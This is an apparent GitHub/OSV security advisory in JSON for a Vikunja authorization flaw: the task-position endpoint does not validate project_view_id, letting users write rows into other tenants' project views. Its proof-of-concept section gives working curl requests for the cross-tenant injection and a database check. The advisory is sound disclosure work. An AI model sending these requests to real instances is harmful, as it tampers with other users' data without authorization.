CVE-2026-91984: Vikunja Cross-tenant Task-position Rows Can Be Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-w39f-h553-h2mx",
  "modified" : "2026-10-09T20:51:41Z",
  "published" : "2026-10-09T20:51:41Z",
  "aliases" : [ "CVE-2026-91984" ],
  "summary" : "Vikunja: Cross-tenant task-position rows can be injected into arbitrary project views via the unvalidated project_view_id in the task position endpoint (v1 and v2)",
  "details" : "## Summary\n\nThe task-position endpoint authorizes only the task side of the write: `TaskPosition.CanUpdate` delegates to `Task.CanUpdate` (write access to the task's own project) and the request body's `project_view_id` is never validated to belong to the task's project, nor is any access to that view required. Any authenticated user with a single writable task of their own can persist `(task_id, project_view_id, position)` rows into any other tenant's project view (view IDs are small sequential integers and enumerable). Low position values (below `MinPositionSpacing`, 0.01) enter the recalculation branch, but `RecalculateTaskPositions` aborts on its own project read-access check before recalculating and the whole transaction rolls back, so no cross-tenant recalculation actually executes — only the plain row insert (position ≥ 0.01) persists. This is the same root-cause pattern as GHSA-569v-q83c-3j3g (kanban bucket relocation via project_view_id mass-assignment, fixed with a dual-side check for buckets in 2.4.0) surviving in the sibling position endpoint. Verified on Vikunja 2.5.0.\n\n## Details\n\nAffected endpoints (both verified):\n\n- v1: `POST /api/v1/tasks/{id}/position`\n- v2: `PUT /api/v2/tasks/{id}/position`\n\nRoot cause in `pkg/models/task_position.go`:\n\n- `CanUpdate` (lines 61-64) checks only `Task.CanUpdate` — i.e. the caller's write access to the task's own project.\n- `updateTaskPosition` (lines 174-232) upserts `(task_id, project_view_id, position)` directly; there is no check that the view belongs to the task's project and no access check on the view's project.\n- `ProjectViewID` is body-bindable (`json:\"project_view_id\"`, no readOnly/param restriction, line 42).\n\nContrast with the fixed sibling: the bucket-move endpoint (`POST /projects/{project}/views/{view}/buckets/{bucket}/tasks`, `pkg/models/kanban_task_bucket.go:53-68`) validates both the bucket and the task after the GHSA-5pg6/GHSA-569v family fixes — the position endpoint was never given the equivalent view-side check.\n\nObserved behavior (two independent verification runs): an attacker with zero access to the victim project receives `200 {\"task_id\": ..., \"project_view_id\": <victim view>, \"position\": ...}` on both v1 and v2, and the row is persisted (verified directly in the `task_positions` table: rows for the victim view went 0 to 1). Positioning the victim's own task is correctly refused with 403, isolating the missing view-side check. The victim's listings do not surface the foreign task (no confidentiality impact demonstrated), and a low-position (< 0.01) injection enters the recalculation branch but `RecalculateTaskPositions` returns 403 (`getRelevantProjectsFromCollection` → `CanRead` on the victim project) before any recalculation runs, rolling the whole request back — so the low-position variant persists nothing and never rewrites the victim's ordering.\n\n## PoC\n\nSteps use the owner of the victim project (token `$OWNER`) and an attacker with only their own project (token `$ATTACKER`). All requests were executed against a local Vikunja 2.5.0 instance.\n\n1. Owner creates a private project (default views included) and lists its views to obtain a victim view ID:\n\n```\ncurl -X PUT \"$BASE/api/v1/projects\" -H \"Authorization: Bearer $OWNER\" \\\n  -H 'Content-Type: application/json' -d '{\"title\":\"victim\"}'\n# -> {\"id\":200,...}\n\ncurl \"$BASE/api/v1/projects/200/views\" -H \"Authorization: Bearer $OWNER\"\n# -> [{\"id\":771,\"view_kind\":\"kanban\",...}, ...]   # remember VIEW=771\n```\n\n2. Attacker creates their own project and a task in it:\n\n```\ncurl -X PUT \"$BASE/api/v1/projects\" -H \"Authorization: Bearer $ATTACKER\" \\\n  -H 'Content-Type: application/json' -d '{\"title\":\"attacker\"}'\n# -> {\"id\":201,...}\n\ncurl -X PUT \"$BASE/api/v1/projects/201/tasks\" -H \"Authorization: Bearer $ATTACKER\" \\\n  -H 'Content-Type: application/json' -d '{\"title\":\"evil\"}'\n# -> {\"id\":105,...}\n```\n\n3. Baseline — attacker positions their task in their own view (succeeds, expected):\n\n```\ncurl -X POST \"$BASE/api/v1/tasks/105/position\" -H \"Authorization: Bearer $ATTACKER\" \\\n  -H 'Content-Type: application/json' -d '{\"project_view_id\": <OWN_VIEW>, \"position\": 100}'\n# -> 200\n```\n\n4. Mutation — attacker writes their task's position into the victim's view (no access to it whatsoever):\n\n```\ncurl -X POST \"$BASE/api/v1/tasks/105/position\" -H \"Authorization: Bearer $ATTACKER\" \\\n  -H 'Content-Type: application/json' -d '{\"project_view_id\": 771, \"position\": 100}'\n# -> 200 {\"task_id\":105,\"project_view_id\":771,\"position\":100}\n\ncurl -X PUT \"$BASE/api/v2/tasks/105/position\" -H \"Authorization: Bearer $ATTACKER\" \\\n  -H 'Content-Type: application/json' -d '{\"project_view_id\": 771, \"position\": 101}'\n# -> 200 (v2 twin behaves identically)\n```\n\n5. Control — attacker positioning the victim's own task is correctly refused (the task-level gate works; only the view side is missing):\n\n```\ncurl -X POST \"$BASE/api/v1/tasks/<VICTIM_TASK>/position\" -H \"Authorization: Bearer $ATTACKER\" \\\n  -H 'Content-Type: application/json' -d '{\"project_view_id\": 771, \"position\": 1}'\n# -> 403 Forbidden\n```\n\n6. Persistence proof — the cross-tenant row exists in the database:\n\n```\ndocker exec <db> psql -U vikunja -d vikunja -t -A -c \\\n  \"SELECT task_id, position FROM task_positions WHERE project_view_id=771 AND task_id=105;\"\n# -> 105|100        (row for the attacker's task inside the victim's view namespace)\n```\n\nObserved result: steps 4 and 6 succeed — a `task_positions` row `(attacker_task, victim_view)` is created and persisted; step 5 is refused with 403. Note: `\"position\": 1` is above `MinPositionSpacing` (0.01), so it never enters the recalculation branch — it is a plain upsert. A position < 0.01 does enter the branch but is refused with 403 and rolled back (see Impact).\n\n## Impact\n\n**Impact summary:** a genuine broken-object-level-authorization defect (CWE-639) with no demonstrated confidentiality, integrity, or availability impact. The injected rows are invisible to the victim (view listings filter by project), order-preserving (any position collision is respaced between the same neighbours), and self-healing (any legitimate recalculation of the view deletes and rebuilds all its position rows). No read access, no privilege gain, no data destruction, and no usable DoS. Rated **low** — the fix is defense-in-depth, and its main value is preventing this wrong-object authorization from becoming a real cross-tenant leak should any future read path join `task_positions` without re-checking task-project access.\n\nBroken object-level authorization on the write side (CWE-639, CWE-863: the authorization decision uses one resource dimension — the task — while the write targets another — the view). Any authenticated user holding a single writable task can persist rows into any other tenant's view state instance-wide (view IDs sequential and enumerable). The recalculation/lock path is not usable cross-tenant: a low position (< 0.01) enters the branch but `RecalculateTaskPositions` fails its own project read-access check and rolls back before recalculating (on MySQL/PostgreSQL a `FOR UPDATE` lock on the view row is taken one statement earlier in the same transaction, but released immediately on that rollback; SQLite takes no lock), so there is no meaningful availability angle. No confidentiality breach was demonstrated (victim listings filter by project), and the pollution is recoverable. Suggested fix: in `CanUpdate` or before the upsert, load the view by `tp.ProjectViewID` and require `view.ProjectID == task.ProjectID` (and/or caller access to the view's project), mirroring the bucket-side fix for GHSA-569v.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "code.vikunja.io/api"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.6.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.5.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-w39f-h553-h2mx"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-91984"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-vikunja/vikunja/pull/3688"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-vikunja/vikunja/commit/077dc4de79ce6f1ab59215a2c7bf9b30423685f2"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/go-vikunja/vikunja"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-vikunja/vikunja/releases/tag/v2.6.0"
  }, {
    "type" : "WEB",
    "url" : "https://www.vulncheck.com/advisories/vikunja-before-2.6.0-broken-object-level-authorization-via-task-position"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-639", "CWE-863" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-09T20:51:41Z",
    "nvd_published_at" : null
  }
}